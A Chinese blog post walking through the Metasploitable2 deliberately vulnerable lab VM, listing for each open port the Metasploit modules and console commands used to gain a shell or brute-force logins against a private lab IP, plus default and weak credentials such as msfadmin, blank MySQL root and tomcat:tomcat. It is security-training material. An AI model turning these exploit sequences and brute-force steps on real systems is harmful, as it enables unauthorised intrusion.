Metasploitable2靶机介绍:
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware。当虚拟系统启动之后,使用用户名:msfadmin 和密码msfadmin登陆 适用于学习网络安全新手学习
Metasploitable2靶机下载:
https://pan.baidu.com/s/1SE1xoRtXMsrj_34FJQXT2Q
提取码:810r
Metasploitable2靶机安装:
下载好了把安装包解压 然后试用VMware即可。
Metasploitable2靶机漏洞详解:
渗透机:kali IP :192.168.28.128
靶机IP :192.168.28.141
漏洞清单:
21端口
search vsftpd
use 0
set rhosts 192.168.28.141
run
22端口==直接暴力破解
Search ssh_login 搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 192.168.28.141 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run
23端口(telnet):
search telnet_login
use 1
Set RHOST 192.168.28.141 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run
80端口
拿到站点进行渗透老套路====信息搜集啥的
search php-cgi
use 0
set rhost 192.168.28.141
run
background====将shell后置后台
139端口,445端口
这两个都是smb类型的,是共享服务,首选我们需要知道它的共享目录有哪些,枚举之后可看到一共发现有5个如下
search smb_eumn
0 auxiliary/scanner/smb/smb_enumshares
use 0
set rhost 192.168.28.141
在使用一个脚本:use auxiliary/admin/smb/samba_symlink_traversal
1099端口
一个Java反序列化命令执行漏洞,可以看到已经getshell
原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致
search java rmi
4 exploit/multi/misc/java_rmi_server
use 4
set rhosts 192.168.28.141
run
1524端口ingreslock
在少数服务器上存在一个古老的令人惊讶的“ingreslock”后门,监听1524端口。在过去的十年里,它经常被用于入侵一个暴露的服务器。它的利用是如此简单。
telnet 192.168.28.141 1524
3306数据库默认端口
既然运行远程连接,直接爆破,账号root密码为空然后登入
使用模块:use auxiliary/scanner/mysql/mysql_login
search mysql_login
use 0
set username root
3632 distccd服务
远程命令执行漏洞,直接exp
使用模块:use exploit/unix/misc/distcc_exec
search distccd
use 0
set rhost 192.168.28.141
后面几个利用教程就不详细展开了!!!
5432端口
postgresq爆破
5900端口vnc服务
vnc服务有两部分构成,一部分是服务,一个是客户端,我们进行爆破
使用模块爆破:use auxiliary/scanner/vnc/vnc_login
6667端口
6697 IRC服务, IRC服务这个版本存在后门漏洞,直接exp后getshell
使用模块:use exploit/unix/irc/unreal_ircd_3281_backdoor
8180端口
暴力破解账号密码:tomcat;tomcat
8787端口drb服务
有个远程代码执行漏洞
使用模块:use exploit/linux/misc/drb_remote_codeexec
标签:教程,Set,Metasploit2,search,端口,use,192.168,28.141,通关 From: https://www.cnblogs.com/GLory-LTF/p/17081018.html